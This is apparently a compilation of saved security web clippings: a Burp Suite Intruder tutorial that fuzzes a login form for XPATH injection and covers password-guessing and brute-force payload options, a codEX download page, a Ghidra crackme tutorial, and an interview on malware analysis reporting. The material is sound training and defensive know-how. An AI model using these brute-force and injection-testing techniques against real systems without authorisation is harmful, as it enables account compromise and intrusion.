contains all of the Burp tools with numerous interfaces between them designed
to facilitate and speed up the process of attacking an application. All tools
share the same robust framework for handling HTTP requests, persistence,
authentication, upstream proxies, logging, alerting and extensibility.

Burp Suite allows you to combine manual and automated techniques to enumerate,
analyse, scan, attack and exploit web applications. The various Burp tools
work together effectively to share information and allow findings identified
within one tool to form the basis of an attack using another.

**Source: **http://www.portswigger.net/suite/

The Burp Suite is made up of tools \(descriptions take from the Port Swigger
website\):

**Proxy** : Burp Proxy is an interactive HTTP/S proxy server for attacking and
testing web applications. It operates as a man-in-the-middle between the end
browser and the target web server, and allows the user to intercept, inspect
and modify the raw traffic passing in both directions.

**Spider** : Burp Spider is a tool for mapping web applications. It uses
various intelligent techniques to generate a comprehensive inventory of an
application’s content and functionality.

**Scanner** : Burp Scanner is a tool for performing automated discovery of
security vulnerabilities in web applications. It is designed to be used by
penetration testers, and to fit in closely with your existing techniques and
methodologies for performing manual and semi-automated penetration tests of
web applications.

**Intruder** : Burp Intruder is a tool for automating customised attacks
against web applications.

**Repeater** : Burp Repeater is a tool for manually modifying and reissuing
individual HTTP requests, and analysing their responses. It is best used in
conjunction with the other Burp Suite tools. For example, you can send a
request to Repeater from the target site map, from the Burp Proxy browsing
history, or from the results of a Burp Intruder attack, and manually adjust
the request to fine-tune an attack or probe for vulnerabilities.

**Sequencer** : Burp Sequencer is a tool for analysing the degree of
randomness in an application’s session tokens or other items on whose
unpredictability the application depends for its security.

**Decoder** : Burp Decoder is a simple tool for transforming encoded data into
its canonical form, or for transforming raw data into various encoded and
hashed forms. It is capable of intelligently recognising several encoding
formats using heuristic techniques.

**Comparer** : Burp Comparer is a simple tool for performing a comparison \(a
visual “diff”\) between any two items of data. In the context of attacking a
web application, this requirement will typically arise when you want to
quickly identify the differences between two application responses \(for
example, between two responses received in the course of a Burp Intruder
attack, or between responses to a failed login using valid and invalid
usernames\), or between two application requests \(for example, to identify
the different request parameters that give rise to different behaviour\).

I wanted to explain how to use the Intruder tool in this first Burp Suite
tutorial because this is probably the tool I use most. I also used the Burp
Suite Intruder tool to find the Facebook vulnerability I reported last year.

The reason I started using the Intruder tool was to automate input validation
testing. I had created a large amount of test inputs which were used to test
for input validation weaknesses \(SQL Injection, XPATH Injection, Cross Site
Scripting etc\) in web applications. The amount of test inputs I’d created
made manual testing infeasible so I needed a tool that would take these inputs
and automatically make the 500+ requests I needed per input point. I found the
Burp Suite and I now use the Intruder tool to help me execute these tests,
hopefully you will be able to do the same after you have read this blog post.

**Enabling the Burp Suite Proxy**

To begin using the Burp Suite to test our example web application we need
configure our web browser to use the Burp Suite as a proxy. The Burp Suite
proxy will use port 8080 by default but you can change this if you want to.

You can see in the image below that I have configured Firefox to use the Burp
Suite proxy for all traffic:

<img src='img/Temp2_1214.jpg' width='414' height='448' alt='FF PRoxy' />

When you open the Burp Suite proxy tool you can check that the proxy is
running by clicking on the options tab:

<img src='img/Temp2_1206.jpg' width='560' height='446' alt='Burp1' />

You can see that the proxy is using the default port:

<img src='img/Temp2_1219.jpg' width='560' height='446' alt='Burp2' />

The proxy is now running and ready to use. You can see that the proxy options
tab has quite a few items that we can configure to meet our testing needs. A
lot of these items are out side of the scope of this tutorial.

The Burp Suite will now begin logging the requests and responses that pass
through the proxy. We have browsed to the logon page of our example
application and the Burp Suite proxy has captured the request and response:

<img src='img/Temp2_1204.jpg' width='560' height='435' alt='Burp3' />

<img src='img/Temp2_1217.jpg' width='560' height='446' alt='Burp4' />

The logon page is very simple, we have two input points that we need to test
for input validation weaknesses.

We need to capture a logon request and replace the username and password
values with our test inputs.

To do this we must ensure that the Burp Suite proxy is configured to intercept
our requests:

<img src='img/Temp2_1207.jpg' width='560' height='446' alt='Burp7' />

With the intercept enabled we will submit the logon form and send it to the
intruder as you can see below:

<img src='img/Temp2_1216.jpg' width='560' height='446' alt='Burp8' />

<img src='img/Temp2_1208.jpg' width='560' height='446' alt='Burp9' />

The Burp Suite will send our request to the intruder tool so we can begin our
testing. You can see the request in the intruder tool below:

<img src='img/Temp2_1205.jpg' width='560' height='446' alt='Burp10' />

The tool has automatically created payload positions for us. The payload
positions are defined using the § character, the intruder will replace the
value between two § characters with one of our test inputs.

The positions tab which is shown in the image above has four different attack
types for you to choose from \(definitions taken from
http://www.portswigger.net/intruder/help.html\) :

**Sniper** : This uses a single set of payloads. It targets each position in
turn, and inserts each payload into that position in turn. Positions which are
not targeted during a given request are not affected – the position markers
are removed and any text which appears between them in the template remains
unchanged. This attack type is useful for testing a number of data fields
individually for a common vulnerability \(e.g. cross-site scripting\). The
total number of requests generated in the attack is the product of the number
of positions and the number of payloads in the payload set.

**Battering Ram** : This uses a single set of payloads. It iterates through
the payloads, and inserts the same payload into all of the defined positions
at once. This attack type is useful where an attack requires the same input to
be inserted in multiple places within the HTTP request \(e.g. a username
within the Cookie header and within the message body\). The total number of
requests generated in the attack is the number of payloads in the payload set.

**Pitchfork** : This uses multiple payload sets. There is a different payload
set for each defined position \(up to a maximum of 8\). The attack iterates
through all payload sets simultaneously, and inserts one payload into each
defined position. I.e., the first request will insert the first payload from
payload set 1 into position 1 and the first payload from payload set 2 into
position 2; the second request will insert the second payload from payload set
1 into position 1 and the second payload from payload set 2 into position 2,
etc. This attack type is useful where an attack requires different but related
input to be inserted in multiple places within the HTTP request \(e.g. a
username in one data field, and a known ID number corresponding to that
username in another data field\). The total number of requests generated by
the attack is the number of payloads in the smallest payload set.

**Cluster Bomb** : This uses multiple payload sets. There is a different
payload set for each defined position \(up to a maximum of 8\). The attack
iterates through each payload set in turn, so that all permutations of payload
combinations are tested. I.e., if there are two payload positions, the attack
will place the first payload from payload set 1 into position 1, and iterate
through all the payloads in payload set 2 in position 2; it will then place
the second payload from payload set 1 into position 1, and iterate through all
the payloads in payload set 2 in position 2. This attack type is useful where
an attack requires different and unrelated input to be inserted in multiple
places within the HTTP request \(e.g. a username in one parameter, and an
unknown password in another parameter\). The total number of requests
generated by the attack is the product of the number of payloads in all
defined payload sets – this may be extremely large.

In this tutorial we are going to use the Sniper attack type to test both the
username and password fields.

**Selecting a payload**

So far we have enabled the Burp Suite proxy, captured a request, sent it to
the intruder tool and marked our payload positions. We now need to tell the
intruder tool what values to insert into the positions.

To define our payloads we need to click on the payloads tab within the
intruder tool:

<img src='img/Temp2_1218.jpg' width='560' height='446' alt='Burp11' />

We are going to use the sniper attack type in this example so we only have one
payload set. The dropdown menu next to the payload set number allows you
perform many different types of testing/data manipulation as you can see below
\(definitions taken fromhttp://www.portswigger.net/intruder/help.html\):

**Preset list** : This is the simplest payload source, and configures a preset
list of payload items

**Runtime file** : This payload source configures an external text file from
which payloads will be read at runtime. This is useful when a very large list
of predefined payloads is needed, to avoid holding the entire list in memory.
One payload is read from each line of the file, hence payloads may not contain
newline characters.

**Custom iterator** : This payload source provides a powerful way to generate
custom permutations of characters or other items according to a given
template. For example, a payroll application may identify individuals using a
personnel number of the form AB/12; you may need to iterate through all
possible personnel numbers to obtain the details of all individuals.

**Character substitution** : This payload source takes a preset list of
payload items, and produces several payloads from each item by replacing
individual characters in the item with different characters, according to
customisable rules. This payload source is useful in password guessing
attacks, e.g. for producing common variations on dictionary words.

**Case substitution** : This payload source takes a preset list of payload
items, and produces one or more payloads from each item by adjusting the case
of characters within each item. This payload source may be useful in password
guessing attacks, e.g. for producing case variations on dictionary words.

**Recursive grep** : This payload set works together with the extract grep
function. It allows payloads to be generated recursively on the basis of
responses to earlier requests. The “extract grep” function captures a portion
of a server response following a matched regular expression. With “recursive
grep” payloads, the captured text from the previous server response is used as
the payload for the subsequent request.

**Illegal unicode** : This payload source takes a preset list of payload
items, and produces a number of payloads from each item by replacing a
specified character within each item with illegal Unicode-encodings of a
specified character. This payload source may be useful in attempting to
circumvent input validation based on pattern-matching, for example defences
against path traversal attacks which match on expected encodings of the ../
and ..\ sequences.

**Character blocks** : This payload source generates character blocks of
specific sizes using a given input string. It can be useful in detecting
buffer overflow and other boundary condition vulnerabilities in software
running in a native \(unmanaged\) context.

**Numbers** : This payload source generates numbers, either sequentially or at
random, in a specified format.

**Dates** : This payload source generates dates between a specified range, at
a specified interval, in a specified format. This payload source may be useful
during data mining \(e.g. trawling an order book for entries placed on
different days\) or brute forcing \(e.g. guessing the date of birth component
of a user’s credentials\).

**Brute forcer** : This payload source generates a set of payloads of
specified lengths which contain all possible permutations of a specified
character set.

**Null payloads** : This payload source generates “null” payloads – i.e. zero-
length strings. It can generate a specified number of null payloads, or
continue indefinitely.

We are going to use a predefined list of inputs for our testing:

<img src='img/Temp2_1212.jpg' width='560' height='446' alt='Payloads' />

We also have several other options on the payload page which you might want to
use during your testing. The “case” drop down menu allows you to perform case
modification tasks on your payloads including changing all characters to
uppercase or lowercase. You can also use regular expressions to match/replace
values in your payloads.

The payloads can also be encoded or hashed if we need to during our testing.
The options are \(definitions taken from
http://www.portswigger.net/intruder/help.html\):

**Do not encode** : No processing is performed.

**URL encode these characters** : Any of the specified characters which appear
within the payload string are URL-encoded \(e.g. space characters are replaced
by %20\). This is useful where spaces or other problematic characters appear
in payloads that are inserted into the URL or message body; these may cause
some web servers to return errors unless properly encoded for safe
transmission over HTTP.

**Base 64 encode** : This adds any specified prefix and suffix to the payload,
and base-64 encodes the entire string. A possible use of this function is in
brute forcing Basic HTTP authentication controls. Adding the prefix
“username:” to the payload enables a simple word list to be used to perform
password guessing against the specified username.

**Hash** : This adds any specified prefix and suffix to the payload, and takes
a cryptographic checksum of the entire string, using the selected algorithm
\(MD5, SHA, etc\). This function may be useful when attacking custom
authentication schemes that use hashed values.

**Configuring intruder options**

The options tab in the intruder tool allows you to configure additional test
parameters including a grep function, enabling a DOS mode and deciding how you
want the Burp Suite to handle 3xx redirects.

For this example we are going to use the grep function to perform a simple
pattern match. The Burp Suite will provide you with a default list of words to
match against but we are going to remove these and add our own for this test.

The logon form that we are going to test uses an XML file containing usernames
and passwords to authenticate our users. The username and password values we
provide will be entered into an XPATH query. If the application fails to
securely validate these values an XPATH Injection vulnerability could exist.

We want the intruder tool perform a pattern match for us using the word
“XPATH”. This should allow us to easily identify any XPATH errors caused by
our test inputs:

<img src='img/Temp2_1213.jpg' width='560' height='446' alt='Burp12' />

**Executing our tests**

The only thing left for us to do now is to execute our tests.

To start the intruder tool you need to click “intruder” on the top menu and
then click on “start”:

<img src='img/Temp2_1210.jpg' width='560' height='446' alt='Burp13' />

A separate window will be opened which will show you each test, the payload
used, the status code, length and in our case the tests which match our XPATH
pattern match word:

<img src='img/Temp2_1209.jpg' width='560' height='446' alt='Burp14' />

You can see that some of the tests matched our pattern match word by looking
at the tick boxes in the XPATH column.

To review the request and the response for each test you can double click any
of the requests shown in the attack window.

We are going to review request 13 which entered a single quote \(‘\) into the
username field:

<img src='img/Temp2_1215.jpg' width='560' height='446' alt='Burp15' />

This single quote caused an XPATH error to be thrown by the application:

<img src='img/Temp2_1211.jpg' width='560' height='446' alt='Burp16' />

So as you can see we have used the Burp Suite intruder tool to identify a
potential XPATH injection vulnerability.

I hope you have found this blog post useful and I’m always interested in
hearing any feedback you have.

SN

This entry was posted on Friday, March 12th, 2010 at 1:38 pm and is filed
underApplication Security, Hacking. You can follow any responses to this entry
through the RSS 2.0 feed. You can leave a response, or trackback from your own
site.

### One Response to “Burp Suite Tutorial – The Intruder Tool”

  1.   

# codEX Project / Download

**Created:**| _6/4/2010 1:04:08 PM_  
---|---  
**Updated:**| _6/4/2010 1:04:08 PM_  
**Author:**| __  
**Tags:**| _bookmark code-review code-checks_  
  
A pre-release for testing is available for download \(win32 binary only\).
Feel free to check it out and send feedback. However, keep in mind that this
is an early edition which has not all of the final features implemented. See
the startup splash screen and the about window to see what kind of
functionality can be provided yet.  
  
Components:  
The current releases of codEX require the libraries comdlg32.ocx \(Microsoft
Common Dialog Control\) and mscomctl.oxc \(Microsoft Windows Common
Controls\). They are not part of the pre-release distribution. However, these
files are usually part of modern operating systems. If you get an error
message for these missing components when starting up the application, please
download them from a trusted resource in the Internet.  
  
Binaries \(win32\)| Size| MD5 Hash  
---|---|---  
codex-0.5.zip| 85749| 967a5183668b79a3935edba0f2182c55  
codex-0.4.zip| 78696| 7e6306d6c554e49a2f57c7ce3cd96993  
codex-0.3.zip| 78626| 1d661085a4ef6a7c6c8594b48d5401d4  
codex-0.2.zip| 46809| 6d9b804e91542dba8bbde02715b7d6cb  
codex-0.1.zip| 42792| 43d53115d14ab02b050af124915e5cbc

# Here Be Dragons: Reverse Engineering with Ghidra - Part 0 \[Main Windows &
CrackMe\]

**Created:**| _5/10/2019 8:33:18 AM_  
---|---  
**Updated:**| _5/10/2019 8:33:18 AM_  
**Author:**| __  
**Tags:**| _reversing ghidra_  
  

  

# Here Be Dragons: Reverse Engineering with Ghidra - Part 0 \[Main Windows &
CrackMe\]

Apr 12, 2019 • Steven Patterson

<img src='img/2O7pzf8.png' width='740' height='387' />

Welcome to the first part in a tutorial series on reverse engineering with
Ghidra\! This series will be focused on using the newly released tool from the
NSA to reverse engineer Windows executables. The goal is to introduce people
to reverse engineering and also highlight unique features of Ghidra to those
who are experienced RE ninjas.

This post will take you through a tour of the main windows available in
Ghidra, followed by a brief tutorial on how to use it for reversing a simple
CrackMe binary. For this series, we’ll be running everything on a Windows
host. You can follow along in a virtual environment using a free Windows 10
64-bit VM from here. Or, if you prefer to run everything on your native host,
that’s okay too\! With the intros out of the way, let’s start by grabbing the
latest copy of Ghidra and running it.

# Setting up Ghidra

First things first, Ghidra has some prerequisites that need to be installed.
JDK 11 is required by Ghidra, so download the installer from here and run it.
Once that’s finished, let’s grab the latest copy of Ghidra from the official
website. When the download completes, unzip the file and double click
“runGhidra.bat” to start up Ghidra. You should be greeted by the user
agreement on first run and after a bit of loading, you’ll see the project
window pop up. If you have any issues with installation or above instructions,
check out the guide here.

# Your first project, IOLI CrackMe

The project window allows you to load in binaries and organize your files. The
set of Windows binaries we’ll be working with can be downloaded from here in
the “IOLI-crackme/bin-win32” folder. Create a new project and next we’re going
to import all of the files at once using Ghidra’s batch import. In the project
window, choose “File > Batch import…”, browse to the “bin-win32” folder and
select all the files for import. When it’s done, you should see the CrackMe
files loaded up.

<img src='img/cMOpsaJ.png' width='740' height='560' />

<img src='img/z3tGhW4.png' width='328' height='516' />

For the first part, we’ll be starting with “crackme0x00.exe”, double click it
and the code browser will open. A message box will pop up asking if you want
to analyze the binary, select “Yes” and you’ll see the different kinds of
analysis you can perform. The defaults are fine for this project, select
“Analyze” and wait for Ghidra to finish. When it’s all done, you’ll see the
code browser loaded with the binary disassembly listing and the main windows.

<img src='img/52C8YGR.png' width='740' height='564' />

<img src='img/xuxMLDF.png' width='740' height='419' />

# Main Windows: Program, Symbol Trees & Data Type Manager

Let’s go through the main windows Ghidra presents us with in the code browser.
One thing that’s interesting about Ghidra is the contextual help menu. For
most interface elements, you can press F1 while hovering to pull up a help
guide on something you want to know more about. Try using the contextual help
to learn more about the “Program Trees” window.

<img src='img/LYPQEXO.png' width='740' height='471' />

With “Program Trees” you can right-click on the “crackme0x00” folder to
organize the sections of disassembly code in different ways. You can do this
by selecting “Modularize By” and choosing “Subroutine”, “Complexity Depth” or
“Dominance”. You’re also able to make new folders and drag/drop sections
according to your own organizational preferences.

<img src='img/LeR6ho4.png' width='632' height='564' />

<img src='img/uTYhxWr.png' width='254' height='257' />

The next window below the “Program Trees” is the “Symbol Tree” window,
allowing you to see the imports, exports, functions, labels, classes and
namespaces of a binary. Try expanding the “Imports” section to see the various
DLLs and functions used by the target. If you want to see where specific
imported functions appear in the binary, you can right-click on the function
and click “Show references to” then double click on the results entries to see
the full section.

<img src='img/Gjl4mXl.png' width='382' height='347' />

<img src='img/hYbMcuI.png' width='397' height='278' />

The “Data Type Manager” allows you to see all the defined types, including the
built in types, those specific to the binary and others that were included
with Ghidra \(such as the Windows ones we see called “windows\_vs12\_32”\).
Try expanding the book icons and right-clicking a data type, then clicking
“Find uses of” to see where a data type is used within the binary.

<img src='img/uj895JV.png' width='252' height='296' />

<img src='img/USuNZXY.png' width='404' height='367' />

# Main Windows: Disassembly Listing & Function Graph

Now, we get to one of the main attractions, the “Listing” window. Here, you
can see the disassembled code and begin the process of piecing together what
different portions of the binary are doing. Ghidra offers you lots of ways to
customize the listing window, to do this you can click on the “Edit the
listing fields” icon in the top right and clicking on the “Instruction/Data”
tab. Each element of the listing interface is able to be re-sized, moved
around, disabled or deleted. You can also add in new elements by right-
clicking and using the contextual menu. Try re-sizing the “Address” field to
make it smaller and deleting the “Bytes” field.

<img src='img/I8xtV6B.png' width='740' height='509' />

The contextual menu within the disassembly listing can be seen by right-
clicking somewhere within the assembly code. You can perform actions such as
patching instructions, setting a bookmark, commenting and editing labels. Try
right-clicking on one of the assembly instructions in the listing window and
adding a comment. You can double click on one of the functions referenced by
“CALL” to go to the function code and get a better idea of what it might do.
Navigate forwards and backwards by clicking the arrow icons in the top left by
the save icon, or using the shortcuts “Alt-Left Arrow Key” and “Alt-Right
Arrow Key”. See if you can find out what function each “CALL .text”
instruction is calling and edit the labels to the appropriate name. Add a
comment or two that describes what different sections of the code might be
doing.

<img src='img/InfF8yc.png' width='409' height='263' />

<img src='img/qS3i7Mj.png' width='740' height='199' />

Those familiar with IDA Pro might be used to working primarily in a graph
mode. The equivalent window in Ghidra is the “Function Graph” window, which
can be accessed by clicking “Window” and “Function Graph”. The function graph
can similarly be customized using the “Edit the listing fields” button. Graphs
in Ghidra won’t display comment fields by default, try adding them using the
field editor. You’ll notice that it behaves a little different from IDA Pro’s
graph mode and does not start fully zoomed in. To configure the function
graph, right click inside the graph, choose “Properties” and select “Start
Fully Zoomed In” from the “View Settings” dropdown.

<img src='img/hbIVcTI.png' width='740' height='511' />

<img src='img/vvtPzDB.png' width='625' height='527' />

# Main Windows: Decompiler

Finally, we see the decompilation window on the right, showing Ghidra’s
estimation of what high-level code represents the assembly code in the
listing/function graph windows. Try highlighting one of the “if” statements in
the decompiler and you’ll notice that it highlights the corresponding
assembly. That’s one of the features I really like about Ghidra, since it
allows you to build a mental mapping of what groups of assembly instructions
map to which high-level instructions.

<img src='img/AOOVPvq.png' width='740' height='297' />

You can right-click on variables and rename them or add comments in the
decompiler and they will be reflected in the disassembly listing/function
graph as well. Ghidra keeps all these windows in sync automatically\! If you’d
like to tweak any of the decompiler display options, you can do so by right-
clicking within the window and clicking “Properties”. See if you can rename
the local variables to something more descriptive and observe that your
changes appear in the listing window too.

<img src='img/jFK9P4d.png' width='441' height='350' />

# Solving the CrackMe

If you’ve made it this far, you should have an understanding of the primary
Ghidra interfaces and be ready to solve the first CrackMe \(if you haven’t
already\). Start by running the “crackme0x0.exe” file to see how the program
works. You’ll notice that it asks for a password, evaluates the user input and
returns a message of “Invalid Password\!” if the input was not correct.

<img src='img/eHHNIWu.png' width='700' height='231' />

Let’s do an initial triage of this binary by viewing the program strings in
the “Window > Defined Strings” window. You’ll see some of the text displayed
on the command line, let’s investigate the part of assembly that references
“Password”. Double-click on the entry for “Password” in the “Defined Strings”
window and you’ll be taken to the section where the text is stored in the
program.

<img src='img/fmVMoMS.png' width='559' height='295' />

Left-click on the address and select “References > Show References to
Address”, you can click on the entry to be brought to the section of code
referencing “Password”. Try looking for which section of assembly is
responsible for comparing the user input against the correct password. Rename
the variables and functions to something more descriptive and add comments to
help you annotate your analysis.

<img src='img/mDdaiKE.png' width='590' height='706' />

<img src='img/85aFlz2.png' width='403' height='281' />

You’ll notice that after the reference to “Password”, there is a call to
`scanf` to receive the user input and a call to `strcmp` after that. We see
that the user input gets stored in EAX and placed into a local variable called
`local_40`. The string “250382” is also stored into a local variable called
`local_3c`, then both are passed to `strcmp`. The result of this comparison is
checked against the value zero and if it is equal to zero, then the text
“Password OK :\)” is printed. Otherwise, it takes the jump and prints the text
“Invalid Password\!”. Let’s run the “crackme0x00.exe” again, provide it with
“250382” and… it worked\!

<img src='img/m4pPci2.png' width='740' height='308' />

<img src='img/0GzP7GX.png' width='646' height='203' />

<img src='img/0SAV2D9.png' width='534' height='208' />

<img src='img/t0AiyFp.png' width='699' height='224' />

# Lessons Learned & Review

We solved the first CrackMe using Ghidra\! Congrats if you made it all the way
through. The general methodology we used to reverse engineer this program was
the following:

  1. Do initial triage and analysis by seeing what data/strings are found within the target.
  2. Follow references for interesting data/strings to surrounding assembly code.
  3. Make educated guesses about what functions and variables in the assembly are responsible for.
  4. Annotate guesses using comments and rename functions/variables, review and revise as understanding of the program improves.
  5. Use understanding and insights from the reversing process to answer defined questions \(what is the correct password?\)

We also learned about some of the main windows and features of Ghidra, such
as:

  * How to set up a project and import files
  * Program Trees, Symbol Trees, Data Type Manager windows and interfaces
  * Customizing the assembly listing and adding annotations
  * Customizing the function graph and modifying preferences
  * Decompiler window and how it syncs across listing/function graph windows

# Conclusion & Further Reading

I hope that if you were new to reverse engineering, this first post was able
to ease you into the process and you got your first taste of victory with this
CrackMe. If you’re an experienced reverse engineer, hopefully you got an idea
of how Ghidra can be used in your day-to-day reversing tasks and are familiar
with the main UI elements. Thanks for taking the time to do this tutorial and
please look forward to the next one\! In Part 1, we’ll reverse another binary
and discuss the plugin manager.

If you found anything to be unclear or you have some recommendations/feedback,
then send me a message on Twitter \(@shogun\_lab\) or via e-mail at
steven@shogunlab.com.

お疲れ様でした。

<img src='img/4959_giphy.gif' width='500' height='201' />

P.S: Ghidra also has an “Undo” button, which allows you to revert any changes
that you might not want anymore. This undo action can be performed by clicking
“Edit > Undo” or “Ctrl-Z”, so if you mess up at any point during these
tutorials, then just hit undo\!

**Tutorials & Resources**

  * \[Ghidra Blog\] Ghidra Cheat Sheet
  * \[Ghidra Blog\] Online Courses
  * \[Ghidra Ninja\] Ghidra Scripts

# Jake Williams' Tips on Malware Analysis and Reverse-Engineering

**Created:**| _10/15/2013 1:52:29 PM_  
---|---  
**Updated:**| _10/15/2013 1:52:29 PM_  
**Author:**| __  
**Tags:**| _Memory forensics reversing Malware-analysis_  
  

# Jake Williams' Tips on Malware Analysis and Reverse-Engineering****

I had the pleasure of speaking with Jake Williams, an incident responder
extraordinaire, who teaches SANS' FOR610: Reverse-Engineering Malware
course**.** In this interview, Jake discussed his perspectives on getting into
digital forensics, crafting a strong malware analysis reports and making use
of the analyst's findings**.**

_Could you describe your professional background a bit**?** How did you get
into reverse-engineering?_

Well, I started out my professional career in the US Army, I've worked as a
DoD civilian, and as a contractor/consultant**.** Over my career I've done a
lot of programming. I've also done a fair amount of penetration testing of
some pretty hardened networks \(those are always more fun than the easy
ones\)**.** I've found that I really enjoy incident response and digital
forensics work as well**.** As a byproduct of performing incident response, I
found that I needed to learn to reverse engineer malware**.** I was one of
those kids that took everything in the house apart just to "see how it works"
so it felt like a natural progression**.**

When I started in incident response, you found a piece of malware or evidence
of an intrusion and that was it**.** The client reloaded the machines
involved, most often without really understanding what happened**.** I like to
call this the 'Bronze Age' of incident response**.** We didn't have HIPAA,
GLB, or PCI/DSS requiring the level of investigation/accountability we have
now**.** As threats became more advanced and standards started progressing,
clients wanted to know what the malware I just found was capable of**.** At
first, it was hard to even find someone to outsource this kind of work to, the
field was so new**.** Then I realized that I didn't want to outsource it even
if I could**.** I realized that by already having the context of the IR
investigation, I could often jumpstart my analysis**.**

I guess I got into malware RE primarily as a means of providing the client
with a more complete picture of the incident**.** But it really spoke to that
part of me that likes to take things apart, so I've found that I enjoy a good
piece of malware like many people enjoy a crossword puzzle**.**

But really, the benefit of augmenting IR knowledge with RE knowledge allows
you to write a much more complete report to the client**.** It allows you to
more effectively close the book on an incident, rather than recommending
follow analysis of discovered malware**.**

_Does an organization need to reach a certain maturity level in its security
practices to benefit from a comprehensive report like that**?** How often do
you think your reports might have been accepted, but simply shelved away**?**_

Yes, an organization definitely needs to reach some technical maturity level
to make complete use of a detailed report**.** The more detailed the report,
the more technical maturity they need to make full use of it**.** I'm not
picking on organizations, but consider this analogy**.** I get a detailed
prospectus in the mail for every mutual fund in my IRA**.** I hate to admit
it, but if I look at them at all, it's only the high level information**.** My
investment technical maturity level isn't high enough to make use of much of
the information in the prospectus**.** I think most of us can relate to that
analogy, so I like to keep it in mind when writing my own reports**.**

I've found that the real key is to target your audience**.** That doesn't mean
to dumb down the report, just to structure it in such a way that the
information gets progressively more technical as the report progresses**.**
You'll note that many of your prospectus's read that way \(at least the good
ones do\)**.** I understand the temptation to report on various portions of
the incident and the malware completely and then move on to the next aspect in
the report**.** Unfortunately, that makes the report harder to read for those
with less technical expertise**.** I think there is a inverse correlation
between the technical accessibility of a report and the odds of it being
immediately shelved**.**

_Any tips on how a malware analyst might create a report to increase the
likelihood that the report will actually be useful**?**_

Sure**.** I usually break my reports into three sections. The first section is
the executive summary**.** Executive summaries are mentioned in every
reporting seminar, but I almost never see them written correctly**.** The
executive summary is NOT a place to show off how smart and technically savvy
you are**.** Remember, you are writing here for executives. Even if you think
the report will only be read by technical staff, the executive summary should
still be written using as little techno-jargon as possible**.** Also, big
words don't work here either. Note that most newspapers write at the 8-9th
grade level**.** If you are exceeding this in your executive summary, you are
losing a portion of your potential audience**.**

The second section in my report is where I include actionable intelligence
from the incident**.** I get a little more technical here, but if an item
isn't directly actionable or is deeply technical, it doesn't belong here**.**
I write section this to what I call this "401/504 grade level**.** " This
means that I don't use any terms or reference technology in this section that
a graduate of SEC401  \(GSEC \) or SEC504  \(GCIH \) wouldn't be expected to
know**.** By concentrating only on actionable items, you ensure that your IR
staff and systems administrators can comprehend your findings**.** This
section is primarily intended for the IR staff anyway, so this works out
well**.**

The third section in the report is where I go hog wild**.** If I spent time
performing the analysis and found deeply technical information, it goes in
this section of the report**.** I don't try to intentionally confuse anyone in
this section**.** I do however consider it an "enter at your own risk"
area**.** The analysis is deeper and more technical. It is still useful, but
only if you've reached a certain technical maturity**.** Think of it as a
report written by a malware reverse engineer for a malware reverse
engineer**.** I figure that most people could comprehend a report like this
after completing FOR610 **.**

So my advice is to make the report digestible to three different audiences:
non-technical personnel \(or those with no security experience\), IR
personnel, and fellow reverse engineers**.** By writing to your audience \(all
of them\) you minimize the chances that your report will just find its way to
file 13**.**

_Thanks for sharing your thoughts on these topics, Jake**\!** Folks, for a
continuation of this conversation with Jake, be sure to read parts 2  and 3
of the interview**.**_

Jake Williams and Lenny Zeltser will be co-teaching the FOR610: Reverse-
Engineering Malware course on-line live  March 28-April 29, 2013**.** Get
achoice of a MacBook Air, Toshiba Portege Ultrabook or $850 discount  when you
register for this class before March 13, 2013**.**

****

_Seite 2_

I spoke with Jake Williams, an incident responder extraordinaire, who teaches
SANS' FOR610: Reverse-Engineering Malware  course**.** In the second part of
the interview, Jake shared advice on acting upon the findings produced by the
malware analyst**.** He also clarified the role of indicators of compromise
\(IOCs\) in the incident response effort**.** \(See Part 1  if you missed
it.\)

_Last weekwe were talking about reporting in the context of malware reverse-
engineering: how to create a useful report and whether people actually read
such reports**.** Can you tell me how someone might act on information in a
malware analysis report you provide**?**_

Sure. That's a great question. We talked about how I like to create three
different sections of the report: an executive summary, a section with high
level indicators of compromise and findings for incident response personnel,
and a very detailed technical section with all other findings**.** I'll only
address how to act on the first two, since there are too many variables for
the highly technical portion**.**

In my experience, executives and management like to know about
capabilities**.** "What did the malware have the capability to do?" Well,
actually, they want to know what the malware did**.** In other words, what did
it steal from their network**?** Unfortunately, as you are well aware, we
often lack enough information when responding to an incident to say
conclusively what the malware did**.** We are normally limited to saying
things like "there was no indication of data exfiltration" with the caveat
that we are basing this assertion on incomplete information**.** However,
understanding malware's capabilities can help us understand what its intent
was \(and how much management should care\)**.** Can I give you an example of
where that might be relevant**?**

_Please, go ahead._

I once responded to an incident where we found a piece of malware on a
corporate file server**.** It was performing process injection and reading the
contents of process memory using some non-standard techniques**.** At first
glance, this looked really nasty. Upon further investigation, I discovered
that the malware was looking to steal account information from an online
multiplayer role playing game popular in South Korea**.** We eventually
figured out how it got on the server in the first place, but that is less
relevant to our current discussion**.**

Imagine two possibilities for the report**.** The first is one where the
malware analyst tries to "wow" management with all sorts of technical jargon,
eventually concluding that the malware was probably not a threat since it is
related to online gaming**.** Management has some pretty tense moments reading
that report \(if they finish it at all\)**.** If on the other hand you let
everyone know up front, in the executive summary, that the malware was related
to online gaming, your customers can appropriately act on the information**.**
Let me be clear: any malware infection, especially on a server is a big
deal**.** However, based on the analysis, this incident might be less
important than another the customer is currently working**.**

_Sure, that makes sense**.** Most, if not all organizations have limited
resources and have to prioritize their efforts**.** Knowing the capabilities
of the specimen helps in with the triage process**.** Can you also talk about
the importance of discussing the signs of the malware infection--indicators of
compromise--in the report**?**_

Right**.** So I also make it a point to create another section that lists
indicators of compromise, related filenames, and anything that IR personnel
can act on**.** For instance, a malware dropper may pick from 20 different
names for the file it writes to disk**.** The customer is already infected
with this malware in one location**.** It is likely they are compromised
elsewhere as well**.** If the IR team is only looking for one filename,
they'll only detect 5% of the infections**.** Registry keys, default folders,
and services names are all things that also tend to be more or less static
throughout various samples in a malware family**.** I usually place these in
tables, grouping similar objects together to call them out for the IR
team**.** If the malware propagates using a particular exploit, I call out the
exploit, as well as software versions impacted, in this section**.** If the
exploit involves MS Windows, I include the hotfix number that patches the
exploit**.** Both of these help IT and IR personnel determine their exposure
in the rest of the network**.**

_How do you suggest organizations use the IOCs you provide**?**_

Ideally, IOCs are used to scan other hosts on the network for signs of the
same infection \(or infection by a malware variant\)**.** This may lead to the
discovery of variants of the malware in the network**.** Or you may have found
an older version first, but the IOCs you extract help you find a newer,
previously unknown version**.** The question then is how to use IOCs to scan
the network**.** If you are lucky enough to be working at a site that has
deployed Mandiant's MIR or HBGary's Active Defense then scanning is an easy
task**.** If your organization is yet to deploy one of these tools, then
Active Directory can be used to push custom shell, .vbs, or PowerShell scripts
to scan for these indicators**.** When new malware is discovered, it should be
